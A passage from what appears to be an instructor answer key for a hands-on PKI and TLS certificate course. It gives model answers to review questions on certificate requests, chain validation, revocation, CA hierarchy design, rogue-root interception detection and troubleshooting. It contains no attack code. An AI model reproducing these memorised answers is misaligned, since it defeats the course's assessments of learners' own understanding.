Elliptic-curve discrete log has no known sub-exponential attack, while factoring does, so EC reaches the same security level with far shorter keys.
- 3 *What is the trade-off of a non-exportable key?*
It cannot be stolen by copying files, only by using it on the host. But it cannot be backed up or migrated either: losing the host or rebuilding it means rekeying and reissuing.
- 4 *What does the public-key hash comparison prove, and why is it the fastest key/cert check?*
A certificate contains exactly one public key. If the key file's public half hashes to the same value, the pair corresponds. It needs no CA, network or service restart.

LAB 10 Request, sign and install a certificate

- 1 *Why is a CSR signed with the requester's private key, and what does the CA learn from that signature?*
The self-signature proves the requester holds the private key for the public key in the request (proof of possession) without revealing it. The CA learns nothing secret; it only confirms possession before binding the key to the name.
- 2 *The CSR asked only for SANs; where did CA:FALSE and serverAuth come from, and why is that the right place?*
From the CA's issuance profile (server.ext). The CA must control what it vouches for; if requesters could set CA:TRUE or arbitrary EKUs, anyone could obtain a certificate able to sign others.
- 3 *Why must the certificate be installed on the same machine (or with the same key) that generated the CSR?*
The certificate contains only the public key. The corresponding private key exists only where the CSR was generated; installing elsewhere produces "key values mismatch" or a certificate with no private key.

LAB 11 Inspect live servers and their chains

- 1 *incomplete-chain.badssl.com works on Windows and fails in openssl. Is the server correct? Explain.*

No. The server fails to send its intermediate. Windows hides the bug by fetching the intermediate from the AIA URL; clients that do not (OpenSSL, many mobile and embedded stacks) fail. The fix is on the server: serve the full chain.

- 2 *Codes 18 and 19 both mention "self-signed". What distinguishes them?*

18: the leaf itself is self-signed — there is no chain at all. 19: the chain ends in a self-signed root that is not in the trust store. Both are anchor failures, but 19 is a proper hierarchy the client simply does not trust.

- 3 *Which of the five broken hosts would still fail after you add the right root to the client's trust store?*

expired (dates), wrong.host (name) and incomplete-chain on strict clients (chain building). Only self-signed and untrusted-root are purely anchor problems that trust-store changes affect — and "fixing" them that way is only appropriate for anchors you actually control.

LAB 12 Validate a chain by hand

- 1 *Which checks apply to every certificate in the path, and which only to the leaf?*

Every certificate: signature, validity dates, and (for CAs) basic constraints / key usage / path length. Leaf only: name match and EKU for the intended purpose; revocation is checked for the leaf and, in full implementations, for each intermediate too.

- 2 *What makes the root a trust anchor — its signature, its extensions, or something else?*

Its presence in the relying party's trust store. Its self-signature proves integrity only; trust in it is a configuration decision made out-of-band.

- 3 *A "broken chain" and an "untrusted chain" both fail path building. Using your worksheet, how would each show up?*

Broken: the "chain" row fails at leaf → int because the intermediate is missing from what was presented (and not available locally). Untrusted: the chain builds to a root, but the "anchor" row fails because that root is not in the store.

LAB 13 Design a two-tier hierarchy on paper

- 1 *Why does the root almost never issue end-entity certificates directly?*

Issuing requires the key to be online and used often. Keeping the root offline and using it only to sign issuing CAs and CRLs minimizes exposure; the root then becomes the stable anchor that survives the replacement of any issuing CA.

- 2 *What does pathlen:0 on the issuing CA prevent, and what does it still allow?*

It prevents the issuing CA from signing any further CA certificate (any CA below it fails validation). It still allows unlimited end-entity issuance.

- 3 *Compare the recovery work for a leaked issuing-CA key versus a leaked root key.*

Issuing CA: revoke it from the root, publish a new root CRL, stand up a new issuing CA, and reissue its end-entity certificates — relying parties keep the same root. Root: every certificate in the PKI is suspect; you must build a new root and redistribute it to every trust store, the most expensive operation in PKI.

- 4 *When would a three-tier design (root → policy CA → issuing CAs) be worth its extra cost?*

Large or regulated organizations that need distinct policies (e.g. different assurance levels or business units) under separate intermediate CAs, or that want to revoke an entire policy branch without touching the root. For a small lab or business, two tiers are enough.

LAB 14 Trust stores, transparency logs and automated certificates

- 1 *Why can a certificate be trusted in Chrome on Windows but rejected by a Java application on the same machine?*

They use different trust stores. Chrome uses the OS store (or its own Chrome Root Store); Java ships its own cacerts. A root, or an intermediate supplied via AIA fetching, may be available to one and not the other.

- 2 *What do the policy OIDs 2.23.140.1.2.1, 2.23.140.1.2.2 and 2.23.140.1.1 tell you about what the CA verified?*

Domain validated (control of the name only), organization validated (the legal organization was also checked), and extended validation (a stricter organization vetting process). None of them changes the encryption strength.

- 3 *How does Certificate Transparency help a domain owner, and what does it not do?*

Every publicly trusted certificate must be logged, so an owner can monitor logs and discover certificates issued for their names that they did not request. CT detects misissuance after the fact; it does not prevent it or revoke anything by itself.

LAB 15 Build a two-tier private CA

- 1 *Which step in this lab would you most want witnesses and a written record for in production, and why?*

Root key generation and first use (steps 2 and 4). That key anchors the whole PKI; a ceremony with witnesses, scripts and signed logs proves it was generated securely and never copied.

- 2 *Why does the issuing CA's certificate carry a CRL Distribution Point pointing to the root's CRL?*

So relying parties can check whether the issuing CA itself has been revoked by the root. Revocation is checked at every level of the chain, not just the leaf.

- 3 *What happens to relying parties when the root CRL passes its nextUpdate and root01 has not been powered on to renew it?*

Strict relying parties treat an expired CRL as "revocation status unknown" and fail validation for every certificate under that issuing CA. Put root CRL renewal in the operations calendar well before nextUpdate.

Notes: The Windows track uses RSA for the CAs because AD CS templates and older Windows clients handle RSA best; the Linux track uses P-384. Both are valid designs.

LAB 16 Inventory certificates and report expiry

- 1 *Your scanner found everything on the endpoints list. Name two places certificates hide that it would never see.*

Examples: certificates embedded in appliances, load balancers and SaaS configurations; client certificates in keystores; certificates on non-443 ports or internal-only services not on the list; certificates in application config or code. Discovery must include network scanning, CT logs for your domains, and CA issuance records, not just a hand-made list.

- 2 *Why do the owner and depends_on columns matter as much as not_after?*

An alert with no owner goes nowhere; that is how "known" expiries still cause outages. Dependencies tell you what breaks, which sets priority and the blast radius of a failed renewal.

- 3 *For soon.lab.test, would you rekey or just reissue on renewal? Justify.*

Rekey (new key pair) by default: it limits the life of any undetected key compromise and exercises the full process. Reissue-with-same-key is acceptable only when something pins or binds the key and the change is planned — see Lab 31.

LAB 17 Revoke a certificate and prove clients reject it

- 1 *Between steps 3 and 4, was the certificate revoked? Explain from the relying party's point of view.*

In the CA database, yes. For relying parties, no: they learn about revocation only from a published CRL or OCSP response. Revocation is not effective until it is published and fetched.

- 2 *Why did curl in step 7 succeed while openssl verify failed? Which behaviour is safer, and which is more common?*

curl (and most browsers for ordinary certificates) does not hard-fail when revocation information is unavailable; openssl with -crl_check does. Hard-fail is safer; soft-fail is more common because unreachable endpoints would otherwise cause outages — and an attacker who can block the endpoint can exploit it.

- 3 *Your CRL is published weekly and a key is stolen on day 1 of the cycle. What is the worst-case exposure window for Windows clients that already cached the CRL, and how could you shorten it?*

Up to the full CRL validity (about 7 days plus any overlap). Shorten it with delta CRLs, a shorter CRL lifetime, OCSP with short-lived responses (and stapling), or by manually purging caches on critical clients during an incident.

LAB 18 Read a TLS handshake and trigger four failures

- 1 *In TLS 1.3, which handshake message proves the server holds the private key for its certificate?*

CertificateVerify: the server signs a hash of the handshake transcript with its private key; the client verifies it with the public key from the certificate.

- 2 *Missing intermediate and untrusted root produced the same Windows error. How do you tell them apart?*

Look at what the server sends: `s_client -showcerts depth 0` only (missing intermediate) versus a chain ending in an unknown root or a self-signed leaf (untrusted). Then check whether the leaf's issuer is available anywhere to the client.

- 3 *Why did the protocol mismatch fail before any certificate was checked?*

The Certificate message is sent only after both sides agree on a protocol version and cipher suite in ClientHello/ServerHello. No shared version means no handshake, so no certificate reaches the client.

- 4 *What does forward secrecy protect that a certificate alone does not?*

With ephemeral key exchange (ECDHE), session keys are not derivable from the server's long-term private key, so a later key theft cannot decrypt traffic recorded earlier. The certificate only authenticates the server.

LAB 19 Deploy a certificate with its full chain

- 1 *Why should you never include the root in the chain you serve, and what harm does including it do?*

Clients must already have the root; a root sent by the server is ignored for trust decisions. Including it only adds bytes to every handshake (and can confuse some clients during root transitions).

- 2 *What is the "default certificate surprise", and which clients trigger it?*

A client that does not send SNI (old clients, some scanners, health checks connecting by IP) receives the default site's certificate, which fails name matching. Fix with SNI-capable clients or a sensible default certificate.

- 3 *Wildcard *.lab.test vs one certificate with several SANs vs one certificate per site: give one advantage and one risk of each.*

Wildcard: one certificate covers new hosts; but one key on many servers widens compromise impact, and it covers only one label level. Multi-SAN: explicit names, one renewal; but every renewal touches all listed services and reveals all names in CT. Per-site: smallest blast radius and independent lifecycles; but more certificates to automate and monitor.

LAB 20 Client-authentication and code-signing certificates

- 1 *Why is a client certificate a stronger credential than a password for a VPN or an API?*

The secret (private key) never crosses the network and cannot be phished or replayed from a server breach; the server stores only public information. With a non-exportable key or smart card, it also cannot be copied from the device.

- 2 *The tampered script failed verification. What does a valid code signature prove, and what does it not?*

It proves the code has not changed since signing and that the holder of a key certified by the CA signed it. It does not prove the code is safe, bug-free or benign — only who signed it.

- 3 *Why must long-lived code signatures be timestamped?*

Without a timestamp, the signature stops validating when the signing certificate expires or is revoked. A timestamp from a trusted authority proves the signing happened while the certificate was valid.

- 4 *Why is key escrow sensible for email-encryption certificates but wrong for signing certificates?*

Encrypted mail must remain decryptable if the key holder leaves or loses the key, so the organization escrows encryption keys. A signing key must be held only by its owner; escrow would let someone else sign as them and undermine non-repudiation. Hence separate signing and encryption certificates.

LAB 21 Configure auto-enrollment by policy

- 1 *Why is auto-enrollment considered the enterprise ideal, and what does it not solve on its own?*

It removes the human from issuance and renewal, so expiry-driven outages largely disappear for directory-joined machines. It does not cover non-domain devices, appliances or services that need certificates in files, and it cannot fix a template that issues the wrong thing to everyone.

- 2 *Why did you grant Autoenroll to Domain Computers rather than to Authenticated Users?*

Least privilege: a machine-authentication template should be available only to the principals it is designed for. Broad enroll rights on authentication templates are a common privilege-escalation path.

- 3 *A machine certificate and a user certificate on the same laptop expire on the same day. Which renews first and why?*

The machine certificate renews on the machine's policy cycle (boot and every 8 hours) under the computer account; the user certificate renews only when the user logs on or on the user's cycle. A user who does not log on can end up with an expired user certificate.

LAB 22 Certificate-authenticated VPN and a trust mismatch

- 1 *In Mismatch B, why did the client's log say almost nothing useful?*

The failing check happened on the gateway; the client only sees the handshake aborted. Always gather logs from the party whose trust is failing — here the server.

- 2 *What does `verify-x509-name` protect against that a trusted chain alone does not?*

Any certificate from the same trusted PKI with `serverAuth` — for example another internal web server — would otherwise be accepted as the gateway. Pinning the name ensures the client talks to the VPN gateway specifically.

- 3 *Why are certificates better than a pre-shared key for a VPN with hundreds of users?*

Each user has an individual credential that can be revoked without reconfiguring anyone else; a leaked PSK compromises everyone and forces a change on every client. Certificates also support per-user identity and auditing.

LAB 23 Automated issuance and rotation for a workload

- 1 *The certificate was still valid when the CA secret was deleted. Why is `Ready=False` more urgent than it looks?*

With a one-hour lifetime the service has at most about 45 minutes before its identity expires. Short-lived certificates convert "renewal failed" into an outage quickly, so monitoring must alert on the `Ready` condition and on renewal failure, not on expiry.

- 2 *Why is a one-hour certificate with automatic rotation often safer than a one-year certificate with a well-protected key?*

A stolen key is useful for at most an hour, revocation becomes largely unnecessary, and rotation is exercised constantly so it is known to work. The risk shifts from key protection to automation reliability.

- 3 *Why use a separate workload CA instead of giving `cert-manager` the Lab 15 issuing CA?*

Blast radius. The automation platform holds its CA key in a cluster secret; if the cluster is compromised, only the workload CA must be revoked and replaced, not the CA that issues your servers, users and devices. It can also be name-constrained to cluster names.

LAB 24 A rogue root enables interception

- 1 *The certificate the client received in step 5 had the correct name and a valid chain. Which validation check did the attacker defeat, and how?*

The trust anchor check. By adding a root, the attacker made the relying party trust an issuer of their choosing; every other check (name, dates, signature) then passes honestly. No flaw in TLS is needed.

- 2 *Name two legitimate reasons organizations install their own interception roots, and one control that keeps that from becoming a silent risk.*

Data-loss prevention and malware inspection on corporate egress, or developer debugging proxies. Controls: document and inventory the root, restrict it to managed devices, scope it by policy, and monitor trust stores for any unapproved root.

- 3 *Why is unauthorized trust-store change worth alerting on in the same way as a new local administrator?*

A trusted root silently grants the power to impersonate every site to that machine. It is a privilege change with the same impact as administrative access to the user's traffic, and it leaves no visible trace to the user.

Notes: Keep this lab strictly in the isolated environment. The defensive lesson is detection (baseline + diff) and minimal trust, not the interception itself.

LAB 25 Draft a certificate policy for the lab CA

- 1 *What is the difference between a Certificate Policy and a Certification Practice Statement?*

The CP states what the PKI requires and what a certificate means (the rules relying parties can rely on). The CPS describes how a specific CA implements those rules in practice. One CP may be implemented by several CAs' CPSs.

- 2 *Which two roles in your section 2 must never be held by the same person, and why?*

Typically CA administrator and certificate manager (approver), or either of them and auditor. Separation of duties means no single person can both configure the CA and approve or conceal issuance.

- 3 *Why does your policy set a maximum validity for TLS server certificates far below what your CA software allows?*

Shorter validity limits the damage window of an undetected key compromise and forces automation; it also follows the public web PKI's move to much shorter lifetimes, so internal practice does not drift from what clients increasingly expect.

LAB 26 Inventory algorithms for a future migration

- 1 *Which rows of your inventory are exposed to "harvest now, decrypt later", and which are not?*

Exposure comes from recorded key exchanges protecting data that must stay secret for years (TLS and VPN sessions using classical ECDHE). Signatures on short-lived certificates are not exposed retroactively: forging them later does not help an attacker. Long-lived signatures (code, documents, roots) matter for future forgery.

- 2 *Why does the quantum threat fall on asymmetric algorithms rather than on AES-256 or SHA-256?*

Shor's algorithm on a large quantum computer would break factoring and discrete-log problems (RSA, ECC) outright. Grover's algorithm only roughly halves the effective strength of symmetric ciphers and hashes, so AES-256 and SHA-256/384 remain adequate.

- 3 *What single design property would make your lab PKI's migration easiest, and which parts of the lab already have it?*

Cryptographic agility: the ability to change algorithms through configuration and automated reissuance rather than rebuilding. Short-lived, automatically issued certificates (the Lab 23 workload CA, 90-day TLS profile) already have it; the root, long-lived code signatures and any pinned keys do not.

LAB 27 Write an enterprise PKI design document

- 1 *Which relying party in your design is hardest to update with a new root, and how does your design account for it?*

Typically network devices, printers, appliances and embedded systems (manual or vendor-limited trust stores), followed by Java and container images. Good designs keep the root long-lived and stable, list these relying parties explicitly, and plan root distribution years before any root change.

- 2 *What happens to every service in the company if the issuing CA is down for three days? Walk through it.*

Nothing fails immediately: existing certificates remain valid. New enrollments and renewals stop, and relying parties fail once the CA's CRL passes nextUpdate — so the CRL validity period (and the ability to re-sign CRLs elsewhere) sets your real outage deadline. Short-lived workload certificates expire first.

- 3 *Which of the chronic PKI mistakes from Chapter 27 did your first draft contain?*

Common answers: root online or issuing directly; no CRL-signing continuity plan; CDP URLs only reachable on the LAN; certificates with no owner; manual renewal for large populations; one CA key shared across unrelated purposes.

Notes: There is no single correct design. Grade on traceability (each decision tied to a requirement) and on whether the DR section has been tested against the lab.

LAB 28 Apply the full framework to a multi-cause failure

- 1 *What were the root causes, and in which order did each client reveal them?*

Three causes: leaf served without its intermediate (chain), certificate expired in February 2025 (dates), and SAN covers `www.shop.lab.test` but not `shop.lab.test` (name). Linux curl: chain → dates → name. Windows: dates → name (the chain was repaired silently via AIA).

- 2 *Why did the Windows client report "expired" while curl on Linux reported a chain problem?*

Clients differ in how they build paths and in the order they report errors. Windows fetched the missing intermediate from the AIA URL and got further, so its first reported error was later in the checklist. The error message reflects the client, not only the server.

- 3 *Why work the checklist fully instead of stopping at the first failure you find?*

Because the first error masks the rest. Stopping produces a fix-retest-fail loop and a misleading root-cause report; working every check once gives the whole fault set, lets you fix in one change window, and prevents the "it works on my machine" conclusion.

Notes: If learners reach this lab without a partner, they still gain from the documentation discipline: the report's quality is the deliverable, not the discovery.

LAB 29 Diagnose missing-intermediate and untrusted-root failures

- 1 *Both faults produced error 20 on Linux. Which two pieces of evidence separated them?*

The depth at which lookup failed (0 = leaf's issuer missing; 1 = intermediate's issuer missing) and the number of certificates presented (1 versus 2). A complete chain whose top issuer is absent from the store is an anchor problem.

- 2 *Where does the fix belong for each fault — server or client — and why would "fixing" Fault A on the clients be a mistake?*

Fault A is a server deployment bug; fix it on the server by serving the full chain. Installing the intermediate on clients hides it on the machines you touch and leaves every other client broken. Fault B is a relying-party trust decision; fix it through the client distribution channel.

- 3 *Why is "works in Chrome on Windows, fails on Android and curl" a signature of Fault A?*

Windows and desktop Chrome repair incomplete chains through AIA fetching and caches; many mobile, embedded and command-line clients do not. Success in lenient clients is not evidence the server is correct.

LAB 30 Diagnose expiry, name and revocation failures

- 1 *How do you tell "the certificate expired" from "the client clock is wrong" without looking at the server?*

Compare the certificate's dates with a trusted time source, then check the client's time (date -u / w32tm /query /status). If other clients accept the same certificate, or the client reports "not yet valid" for a freshly issued certificate, the clock is the cause.

- 2 *Why does *.lab.test not cover lab.test or a.b.lab.test?*

A wildcard matches exactly one label in the left-most position. lab.test has no label there; a.b.lab.test has two. Add explicit SANs for the apex name or deeper names.

- 3 *Revoked, unreachable and stale CRL all mention revocation. Which of them is the certificate's fault, and which is the PKI's?*

Revoked (error 23) is about the certificate — replace it. Unreachable endpoint (error 3) and stale CRL (error 12) are operational failures of the PKI's publishing; the certificate may be fine, and every certificate from that CA will fail the same way.

LAB 31 Diagnose key, format, usage and permission failures

- 1 *Why is "nginx started without errors" not enough to call a deployment correct?*

A service can start and still serve the wrong certificate, an incomplete chain or a certificate the name does not match. Only a test from the relying party's side, with strict verification, confirms what is actually presented.

- 2 *The usage failure produced a trusted chain and a valid date. Why did the client still refuse it?*

Path validation includes usage: the leaf's EKU (clientAuth only) does not permit TLS server authentication. A certificate can be genuine and trusted yet not allowed to do this job.

- 3 *A renewal went out with a new key and one internal client broke. Which question do you ask first?*

"Does anything pin or bind the old key or thumbprint?" — certificate pinning, an IIS/HTTP.sys binding by thumbprint, a stored hash in a config file, or a partner that trusted the specific certificate. Then update that relationship and plan future rekeys around it.

LAB 32 Assess your skills and plan the next 90 days

- 1 *Which area did you rate lowest, and which lab will you redo first?*

Personal answer. A good answer names a specific lab and a date, and plans to redo it without notes.

- 2 *Which three concepts from this course will still be true in ten years regardless of tools or algorithms?*

Examples: trust comes from the relying party's anchors, not from certificates; every failure is one specific validation check failing for one specific party; the private key is the whole secret; certificates expire, so lifecycle must be automated and owned.

- 3 *What specific evidence will show on day 90 that the plan worked?*

Measurable outcomes: speed-drill times, a re-rated self-assessment, a completed specialization project, a runbook in use, an inventory with owners. "Feel more confident" is not evidence.